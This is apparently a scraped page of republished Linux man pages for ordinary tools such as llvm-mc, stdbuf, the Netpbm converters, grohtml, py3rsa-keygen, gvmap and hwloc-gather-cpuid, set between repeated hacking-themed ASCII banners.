             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1510 - Linux cli command llvm-mc-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-mc-17 and provides detailed information about the command llvm-mc-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-mc-17.

NAME 🖥️ llvm-mc-17 🖥️

mc - manual page for llvm-mc 17

DESCRIPTION

OVERVIEW: llvm machine code playground

USAGE: llvm-mc [options] <input file>

OPTIONS:

Color Options:

–color - Use colors in output (default=autodetect)

Generic Options:

–help - Display available options (–help-hidden for more)

–help-list - Display list of available options (–help-list-hidden for more)

–version - Display the version of this program

MC Options:

-I <directory> - Directory of include files

-M <string> - Disassembler options

–arch=<string> - Target arch to assemble for, see -version for available targets

Action to perform:

–as-lex - Lex tokens from a .s file

–assemble - Assemble a .s file (default)

–disassemble - Disassemble strings of hex bytes

–mdis - Marked up disassembly of strings of hex bytes

–compress-debug-sections=<value> - Choose DWARF debug sections compression:

=none
- No compression

=zlib
- Use zlib

=zstd
- Use zstd

–defsym=<string> - Defines a symbol to be an integer constant

–fdebug-compilation-dir=<string> - Specifies the debug info’s compilation dir

–fdebug-prefix-map=<= separated key-value pairs> - Map file source paths in debug info

–filetype=<value> - Choose an output file type:

=asm
- Emit an assembly (’.s’) file

=null
- Don’t emit anything (for timing purposes)

=obj
- Emit a native object (’.o’) file

-g - Generate dwarf debugging info for assembly source files

–large-code-model - Create cfi directives that assume the code might be more than 2gb away

–main-file-name=<string> - Specifies the name we should consider the input file

–masm-hexfloats - Enable MASM-style hex float initializers (3F800000r)

–masm-integers - Enable binary and hex masm integers (0b110 and 0ABCh)

–mattr=<a1,+a2,-a3,…> - Target specific attributes (-mattr=help for details)

–mcpu=<cpu-name> - Target a specific cpu type (-mcpu=help for details)

–motorola-integers - Enable binary and hex Motorola integers (%110 and $ABC)

-n - Don’t assume assembly file starts in the text section

–no-exec-stack - File doesn’t need an exec stack

-o <filename> - Output filename

–output-asm-variant=<uint> - Syntax variant to use for output printing

–position-independent - Position independent

–preserve-comments - Preserve Comments in outputted assembly

–print-imm-hex - Prefer hex format for immediate values

–relax-relocations - Emit R_X86_64_GOTPCRELX instead of R_X86_64_GOTPCREL

–save-temp-labels - Don’t discard temporary labels

–show-encoding - Show instruction encodings

–show-inst - Show internal instruction representation

–show-inst-operands - Show instructions operands as parsed

–split-dwarf-file=<filename> - DWO output filename

–triple=<string> - Target triple to assemble for, see -version for available targets

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1511 - Linux cli command stdbuf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command stdbuf and provides detailed information about the command stdbuf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the stdbuf.

NAME 🖥️ stdbuf 🖥️

Run COMMAND, with modified buffering operations for its standard streams.

SYNOPSIS

stdbuf OPTIONCOMMAND

DESCRIPTION

Run COMMAND, with modified buffering operations for its standard streams.

Mandatory arguments to long options are mandatory for short options too.

-i, –input=MODE
adjust standard input stream buffering

-o, –output=MODE
adjust standard output stream buffering

-e, –error=MODE
adjust standard error stream buffering

–help
display this help and exit

–version
output version information and exit

If MODE is ‘L’ the corresponding stream will be line buffered. This option is invalid with standard input.

If MODE is ‘0’ the corresponding stream will be unbuffered.

Otherwise MODE is a number which may be followed by one of the following: KB 1000, K 1024, MB 1000*1000, M 1024*1024, and so on for G,T,P,E,Z,Y,R,Q. Binary prefixes can be used, too: KiB=K, MiB=M, and so on. In this case the corresponding stream will be fully buffered with the buffer size set to MODE bytes.

NOTE: If COMMAND adjusts the buffering of its standard streams (’tee’ does for example) then that will override corresponding changes by ‘stdbuf’. Also some filters (like ‘dd’ and ‘cat’ etc.) don’t use streams for I/O, and are thus unaffected by ‘stdbuf’ settings.

Exit status:

125
if the stdbuf command itself fails

126
if COMMAND is found but cannot be invoked

127
if COMMAND cannot be found

-
the exit status of COMMAND otherwise

EXAMPLES

tail -f access.log | stdbuf -oL cut -d ’ ’ -f1 | uniq
This will immediately display unique entries from access.log

BUGS

On GLIBC platforms, specifying a buffer size, i.e., using fully buffered mode will result in undefined operation.

AUTHOR

Written by Padraig Brady.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/stdbuf>
or available locally via: info ‘(coreutils) stdbuf invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1512 - Linux cli command pbmtoepson

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoepson and provides detailed information about the command pbmtoepson, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoepson.

.

NAME 🖥️ pbmtoepson 🖥️

convert a PBM image into Epson printer graphics

SYNOPSIS

pbmtoepson

[-dpi=n] [-protocol={escp9|escp}] [-adjacent] [-nonadjacent]

[pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoepson reads a PBM image as input and produces a stream of Epson printer graphics as output.

The input is from the file identified by the pbmfile argument or, if you don’t specify pbmfile, from Standard Input. Output is to Standard Output.

The output is for traditional (ca 1991) Epson 9-wire dot matrix (sometimes called ESC/P 9-wire) printers or newer ESC/P printers. For a more modern Epson ESC/P2 type printer, try pbmtoescp2.

Before Netpbm 10.23 (July 2004), pbmtoepson could not produce ESC/P streams – only ESC/P 9-wire.

The Epson printer protocols are described in Epson’s protocol specification.

Note that there is no epsontopbm tool - this transformation is one way.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtoepson recognizes the following command line options:

-protocol={escp9|escp}
This determines which Epson printer protocol the output uses. escp9 is the older ESC/P 9-pin protocol. escp is the newer ESC/P protocol. For the even newer ESC/P2 protocol, you have to use pbmtoescp2 instead.

This option was new in Netpbm 10.23 (July 2004).

**-dpi=**n
This specifies the horizontal print density in dots per inch. The protocol allows only certain values: 60, 72, 80, 90, 120, 144, and 240. Actually, the ESC/P protocol allows a few others, but pbmtoepson doesn’t know how to generate the command streams that use them.

If you don’t specify this, pbmtoepson chooses a horizontal print density for you consistent with your other options.

This option was new in Netpbm 10.23 (July 2004).

-adjacent
-nonadjacent
These options determine whether the output uses “adjacent dot printing” or not, whatever that is.

If you don’t specify this, pbmtoepson selects adjacent dot printing unless that is incompatible with your other options.

This option was new in Netpbm 10.23 (July 2004).

SEE ALSO

pbmtoescp2(1) , pbm(1) ,

AUTHOR

Copyright (C) 1991 by John Tiller ([email protected]) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoepson.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1513 - Linux cli command pnmcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmcat and provides detailed information about the command pnmcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmcat.

.

NAME 🖥️ pnmcat 🖥️

replaced by pamcat

DESCRIPTION

This program is part of Netpbm(1) .

pnmcat was obsoleted by pamcat(1) , introduced with Netpbm 11.00 (September 2022). pamcat is backward compatible with pnmcat, plus adds many additional functions, including the ability to process PAM images.

In Netpbm before 11.00, use the manual for pamcat with pnmcat. Features that are in pamcat but not pnmcat are indicated by statements that they didn’t exist before 11.00.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmcat.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1514 - Linux cli command pre-grohtml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pre-grohtml and provides detailed information about the command pre-grohtml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pre-grohtml.

Name

grohtml, post-grohtml, pre-grohtml - groff output driver for HTML

Synopsis

pre-grohtml [-epV] [-a anti-aliasing-text-bits] [-D image-directory] [-F font-directory] [-g anti-aliasing-graphic-bits] [-i resolution] [-I image-stem] [-o image-vertical-offset] [-x html-dialect] troff-command troff-argument . . . pre-grohtml –help pre-grohtml -v pre-grohtml –version post-grohtml [-bCGhlnrVy] [-F font-directory] [-j output-stem] [-s base-point-size] [-S heading-level] [-x html-dialect] [*file *. . .] post-grohtml –help post-grohtml -v post-grohtml –version

Description

The GNU roff system’s HTML support consists of a preprocessor, pre-grohtml, and an output driver, post-grohtml; together, they translate

documents to HTML. Because a preprocessor is (uniquely) required for this output driver, users should invoke grohtml via the

command with the -Thtml or -Txhtml options. (In this installation, ps is the default output device.) Use groff’s -P option to pass any options shown above to grohtml. If no operands are given, or if file is “-”, grohtml reads the standard input stream. Output is written to the standard output stream.

grohtml invokes groff twice. In the first pass, the preprocessor pre-grohtml renders pictures, equations, and tables as images in PostScript format using the ps output device. In the second pass, the output driver post-grohtml translates the output of

to HTML.

grohtml writes output encoded in UTF-8 and has built-in HTML entities for all non-composite Unicode characters. In spite of this, groff may issue warnings about unknown special characters if they can’t be found during the first pass. Such warnings can be safely ignored unless the special characters appear inside a table or equation.

Typefaces

grohtml supports the standard four styles: R (roman), I (italic), B (bold), and BI (bold-italic). Fonts are grouped into families T and C having members in each style.

TR
Times roman

TI Times italic

TB Times bold

TBI Times bold-italic

CR Courier roman

CI Courier italic

CB Courier bold

CBI Courier bold-italic

A special font, S, is also provided to accommodate roff documents that expect it to always be available.

Font description files

The font description files used with grohtml expose the same glyph repertoire in their charset sections. See

Dependencies

pre-grohtml generates an image whenever an eqn equation, tbl table, or pic picture is encountered in the input. grohtml therefore may run several commands as part of its operation. These include the Netpbm tools pnmcrop, pnmcut, and pnmtopng; Ghostscript (gs); and the PSUtils tool psselect.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

-a* anti-aliasing-text-bits*
Number of bits of antialiasing information to be used by text when generating PNG images. The default is 4 but 0, 1, and 2 are also valid. Your system’s version of gs must support the -dTextAlphaBits option in order to exploit antialiasing. A value of 0 stops grohtml from issuing antialiasing commands to gs.

-b
Initialize the background color to white.

-C
Suppress output of “CreationDate:” HTML comment.

-D* image-directory*
Instruct grohtml to place all image files into directory image-directory.

-e
Direct eqn to produce MathML.

This option should not be manually specified; it is synthesized by groff depending on whether it was given the -Thtml or -Txhtml option.

-F* font-directory*
Prepend directory font-directory*/dev*name to the search path for font and device description files; name is the name of the device, usually html.

-g* anti-aliasing-graphic-bits*
Number of bits of antialiasing information to be used by graphics when generating PNG images. The default is 4 but 0, 1, and 2 are also valid. Your system’s version of gs must support the -dGraphicAlphaBits option in order to exploit antialiasing. A value of 0 stops grohtml from issuing antialiasing commands to gs.

-G
Suppress output of “Creator:” HTML comment.

-h
Generate section headings by using HTML B elements and increasing the font size, rather than HTML H elements.

-i* resolution*
Set the image resolution in pixels per inch; the default is 100.

-I* image-stem*
Determine the image file name stem. If omitted, grohtml uses *grohtml-*XXXXX (where XXXXX is the process ID). A dash is appended to the stem to separate it from the following image number.

-j* output-stem*
Instruct grohtml to split the HTML output into multiple files. Output is written to a new file at each section heading (but see option -S below) named output-stem-n.html.

-l
Turn off the production of automatic section links at the top of the document.

-n
Generate simple heading anchors whenever a section/number heading is found. Without the option the anchor value is the textual heading. This can cause problems when a heading contains a “?” on older versions of some browsers. This feature is automatically enabled if a heading contains an image.

-o* image-vertical-offset*
Specify the vertical offset of images in points.

-p
Display page rendering progress to the standard error stream. grohtml displays a page number only when an image is required.

-r
Turn off the automatic header and footer line (HTML rule).

-s* base-type-size*
Set the document’s base type size in points. When this size is used in the source, it corresponds to the HTML base type size. Every increase of two points in the source will produce a “big” element, and conversely when a decrease of two points is seen, a “small” element is emitted.

-S* heading-level*
When splitting HTML output (see option -j above), split at each nested heading level defined by heading-level, or higher). The default is 1.

-V
Create an XHTML or HTML validator button at the bottom of each page of the document.

-x* html-dialect*
Select HTML dialect. Currently, html-dialect should be either the digit 4 or the letter x, which indicates whether grohtml should generate HTML 4 or XHTML, respectively.

This option should not be manually specified; it is synthesized by groff depending on whether it was given the -Thtml or -Txhtml option.

-y
Produce a right-aligned groff signature at the end of the document (only if -V is also specified).

Environment

GROFF_FONT_PATH
lists directories in which to search for devhtml, grohtml’s directory of device and font description files. See

and

SOURCE_DATE_EPOCH
A timestamp (expressed as seconds since the Unix epoch) to use as the output creation timestamp in place of the current time. The time is converted to human-readable form using

and

and recorded in an HTML comment.

TZ
The time zone to use when converting the current time to human-readable form; see

If SOURCE_DATE_EPOCH is used, it is always converted to human-readable form using UTC.

Files

/usr/share/groff/1.23.0/font/devhtml/DESC
describes the html output device.

*/usr/share/groff/1.23.0/font/devhtml/*F
describes the font known as F on device html.

/usr/share/groff/1.23.0/tmac/html.tmac
defines font mappings, special characters, and colors for use with the html output device. It is automatically loaded by troffrc when either of the html or xhtml output devices is selected.

/usr/share/groff/1.23.0/tmac/html-end.tmac
finalizes setup of the html output device. It is automatically loaded by troffrc-end when either of the html or xhtml output devices is selected.

grohtml uses temporary files. See

for details about where such files are created.

Bugs

grohtml is still beta code.

grohtml does not truly support hyphenation, but you can fool it into hyphenating long input lines, which can appear in HTML output with a hyphenated word followed by a space but no line break.

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1515 - Linux cli command py3rsa-keygen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3rsa-keygen and provides detailed information about the command py3rsa-keygen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3rsa-keygen.

NAME 🖥️ py3rsa-keygen 🖥️

keygen** - generate a new RSA keypair

SYNOPSIS

py3rsa-keygen [OPTION]… KEYSIZE

DESCRIPTION

Generate a new RSA keypair of KEYSIZE bits.

OPTIONS

-h, –help
show help message and exit

**–pubout=**PUBOUT
output filename for the public key. the public key is not saved if this option is not present. you can use py3rsa-priv2pub to create the public key file later.

-o OUT, **–out=**OUT
output filename for the private key. the key is written to stdout if this option is not present.

**–form=**FORM
key format of the private and public keys - default PEM

AUTHOR

py3rsa-keygen was written by Sybren A. Stuvel <sybren AT stuvel.eu>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1516 - Linux cli command gvmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvmap and provides detailed information about the command gvmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvmap.

NAME 🖥️ gvmap 🖥️

find clusters and create a geographical map highlighting clusters.

SYNOPSIS

gvmap [ options ] [ -o outfile ] [ files ]

DESCRIPTION

gvmap takes as input a graph in DOT format, finds node clusters and produces a rendering of the graph as a geographic-style map, with clusters highlighted as countries, in xdot format.

In the input graph, each node must have position, width and height information (pos, width and height attributes, respectively) defined, and nodes must not overlap.

By default, gvmap will generate the clusters from the data. If desired, the input graph can specify cluster information by giving every node a cluster attribute whose value is a small positive integer. (It is works best if cluster values are all integers in the interval [1,K] for some K. Nodes sharing the same cluster attribute value will be put into the same cluster. N.B. For the cluster attribute to be used, all nodes must have a valid value.

If the -D flag is used, gvmap will use the top-level cluster subgraphs to determine the clustering. Any nodes not in such a cluster will be put into a single catch-all cluster.

If the input specifies the desired clustering as described above, it can also specify a desired coloring by having some node in each cluster provide a clustercolor attribute. N.B. Unless one specifies -c0, only the clustercolor of the last node in a cluster has an effect. In addition, unless one uses -O, gvmap may permute the given colors.

OPTIONS

The following options are supported:

-a* k*
The integer k specifies the average number of artificial points added along the bounding box of the labels. Such artificial points are added to avoid a country boundary cutting through the boundary box of the labels. Computing time is proportional to k; hence, for large graphs, a small value of k is suggested. If k = -1, a suitable value of k is automatically selected based on the graph size. By default k = -1.

-b* v*
The real number v specifies the line width used to draw the polygon boundaries, with v < 0 for no line. By default v = 0.

-c* k*
The integer k specifies color scheme used to color the countries. By default k = 1.

Acceptable values are:
0 : no polygons 1 : pastel 2 : blue to yellow 3 : white to red 4 : light grey to red 5 : primary colors 6 : sequential single hue red 7 : sequential single hue lighter red 8 : light grey

**-c_opacity=**xy
Specifies a two-character hexadecimal string specifying the opacity of the polygons.

-C* d*
The integer d specifies the maximum number of clusters (countries) allowed. By default d = 0, which means that there is no limit.

-d* d*
The integer d specifies the random seed used during color assignment optimization that maximize color difference between neighboring countries.

-D
If specified, the graph’s cluster subgraphs are used to specify the clustering.

-e
If specified, edges will be included in the final output.

-g* c*
Specifies the bounding box color. If not specified, a bounding box is not drawn.

-h* k*
The number of artificial points added to maintain a bridge between endpoints. By default, this is zero.

**-highlight=**k
Only draw cluster k. By default, all clusters are drawn.

-k
If specified, increases the randomness of outer boundary.

-l* s*
Use the string s as a label for the drawing.

-m* v*
Generate a margin of v points around the drawing. By default, this is determined by gvmap.

-O
Do NOT do color assignment optimization that maximizes color differences between neighboring countries

-o*<file>*
Put output in <file>. Default output is stdout

-p* k*
Indicates what level of points should be shown. By default, no points are shown.

Acceptable values are:
0 : no points 1 : all points 2 : label points 3 : random/artificial points

-Q
Use modularity quality for clustering rather than the default modularity clustering.

-r* k*
The number of random points k (integer) used to define sea and lake boundaries. If 0, auto assigned. By default v = 0

-s* v*
The real number v specifies the depth of the sea and lake shores in points. If 0, auto assigned. By default v = 0.

-t* n*
Make n attempts to improve cluster contiguity.

-v
Verbose mode.

-z* c*
Specified the polygon line color. Default is black.

-?
Print usage and exit.

EXAMPLES

Given a graph foo.gv, one way to generate a layout and highlight the clusters is to first select a layout engine with a suitable overlap removal method, then feed the output to gvmap, and finally render the map using specific graphics format. For example, the following pipeline creates a map with edges in semi-transparent light gray and nodes laid out using sfdp:

sfdp -Goverlap=prism foo.gv | gvmap -e | neato -n2 -Ecolor=#55555522 -Tpng > foo.png

The shell script gvmap.sh provides a shorthand for such pipelines. For example, the above pipeline can be achieved using

gvmap.sh -Ae -Ecolor=#55555522 -Tpng foo.gv > foo.png

AUTHOR

Yifan Hu <[email protected]>

SEE ALSO

gvmap.sh(1), sfdp(1), neato(1), gvpr(1)

E. R. Gansner, Y. Hu, S. G. Kobourov, “GMap: Visualizing graphs and clusters as maps,” Proc. Pacific Vis. 2010, pp. 201‐208.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1517 - Linux cli command wsrep_sst_common

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wsrep_sst_common and provides detailed information about the command wsrep_sst_common, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wsrep_sst_common.

NAME 🖥️ wsrep_sst_common 🖥️

common command line parser to be sourced by other SST scripts

DESCRIPTION

Use: Common command line parser to be sourced by other SST scripts.

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1518 - Linux cli command hwloc-gather-cpuid

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-gather-cpuid and provides detailed information about the command hwloc-gather-cpuid, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-gather-cpuid.

NAME 🖥️ hwloc-gather-cpuid 🖥️

gather-cpuid - Dumps the relevant x86 cpuid values for later (possibly offline) usage

SYNOPSIS

hwloc-gather-cpuid [options] [<outdir>]

OPTIONS

-c <idx>
Only gather cpuid values for logical processor whose OS/physical index is <idx>.

-q –quiet -s –silent
Do not show verbose messages.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-gather-cpuid dumps all the relevant x86 cpuid values into subdirectory cpuid of current directory, or in <outdir> if specified.

These files can be used later to explore the machine topology offline, for instance by setting the environment variable HWLOC_CPUID_PATH to the directory containing all output files, and by forcing the x86 backend with HWLOC_COMPONENTS=x86,stop.

The directory contents may also be submitted to hwloc developers to debug issues remotely.

If - is used as <outdir>, the output is dumped to the standard output, but a unique logical processor must have been given with -c.

hwloc-gather-cpuid is a x86 specific tool, it cannot be used on other platforms.

NOTE: hwloc-gather-cpuid gathers many hardware details about the platform. Output files should not be posted on public lists or websites unless it is clear that they contain no sensitive information.

NOTE: The output of hwloc-gather-cpuid is included in the tarball saved by hwloc-gather-topology on Linux/x86.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page.

EXAMPLES

To store cpuid information of all logical processors of the current machine:

$ hwloc-gather-cpuid Gathering in directory ./cpuid … Gathering CPUID of PU P#0 in path ./hwloc-x86-cpuid/pu0 … Gathering CPUID of PU P#1 in path ./hwloc-x86-cpuid/pu1 … Gathering CPUID of PU P#2 in path ./hwloc-x86-cpuid/pu2 … Gathering CPUID of PU P#3 in path ./hwloc-x86-cpuid/pu3 … Summary written to ./cpuid/hwloc-cpuid-info

RETURN VALUE

Upon successful execution, hwloc-gather-cpuid will exit with the code 0.

